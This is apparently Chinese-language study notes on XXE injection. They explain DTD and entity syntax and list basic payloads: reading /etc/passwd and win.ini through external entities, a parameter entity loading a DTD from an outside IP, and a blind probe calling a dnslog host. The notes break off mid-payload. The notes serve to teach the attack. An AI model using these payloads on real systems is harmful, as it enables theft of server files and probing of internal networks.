https://mp.weixin.qq.com/s/Kr2o-sSnAkSoyKRpjjK2yg
https://www.anquanke.com/post/id/209826
简单介绍
当目标运行我们引用外部实体时,可通过构造恶意数据,执行任意文件读取,内网端口探测,攻击内网,甚至命令执行——安装了expect扩展。
XXE主要由DTD文档构成,因此先介绍DTD,如下所示红色部分为DTD
1、开头必须声明为XML <?xml version="1.0"?>
2、第二行为
例如 <!DOCTYPE NOTE //声明此文档为NOTE类型
<!DOCTYPE ANY //也可以为ANY
<!DOCTYPE ROOT //ROOT之类
3、DTD有内外引用两种方式
1)内部的 DOCTYPE 声明
2)外部文档声明
PUBLIC也是可以的,和SYSTEM一样
DTD的实体声明有三种方式
(1)内部实体声明
<!ENTITY 实体名称 "实体的值">
例如:<!ELEMENT note (message+)>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM "URI">
例如: <!ENTITY foo SYSTEM "file:///etc/passwd">
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>
例如:<!ENTITY %remote SYSTEM "[http://119.23.14.70:8080/xxe.xml">](http://119.23.14.70:8080/xxe.xml">)
基础的XXEpyaload
burp搜索XML看是否存在相关XML字段
或自己修改content-type为 application/xml Content-type: text/xml
1、盲探测
向某个网站的某个端口发送一条请求,成功建立的请求持续时间会特别长
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY Quan SYSTEM "http://6w3pkd.dnslog.cn">
]>
<root>&Quan;</root>
2、有回显的读取文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY file PUBLIC "data" "file:///c:/windows/win.ini">
]>
<user><username>&file;